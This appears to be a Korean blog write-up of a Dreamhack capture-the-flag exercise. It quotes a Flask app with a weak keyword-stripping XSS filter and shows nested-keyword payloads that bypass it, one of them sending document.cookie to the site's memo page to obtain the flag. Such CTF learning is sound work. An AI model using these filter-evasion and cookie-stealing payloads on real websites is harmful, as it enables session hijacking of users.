XSS Filtering Bypass

minii_
|2023. 11. 9. 17:41
반응형

vuln 페이지에 들어가 보면 이미지 태그를 사용했음을 알 수 있다.

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param

 

/vuln에서 param 값을 입력받고 xss_filter함수로 값을 넘겨준다.

xss_filter 함수를 보면 script, on, javascript를 필터링함을 알 수 있다.

 

 

먼저 vuln 페이지에서 필터링 우회가 되는지 URL에 입력했다.

 

<sscriptcript>alert(1)</sscriptcript>를 param에 입력하고 이때  script, on, javascript은 ""으로 필터링된다.

따라서 s+script+cript = s+""+cript = script가 되어 alert창이 잘 출력되었다. 

 

<sscriptcript>location.href="/memo?memo="+document.cookie</sscriptcript>

flag페이지에서 처음에는 이렇게 입력했었는데 on도 필터링되기 때문에 memo 페이지에 flag가 출력되지 않았다. 

 

<sscriptcript>locatioonn.href="/memo?memo="+document.cookie</sscriptcript>

위와 같이 입력하여 on도 필터링 우회를 했더니 해결되었다. 

 

반응형

'Dreamhack > Web' 카테고리의 다른 글

csrf-2  (0) 2023.11.09
csrf-1  (0) 2023.11.09
[wargame.kr] fly me to the moon  (0) 2023.11.09
simple_sqli  (0) 2023.11.09
[wargame.kr] login filtering  (0) 2023.11.09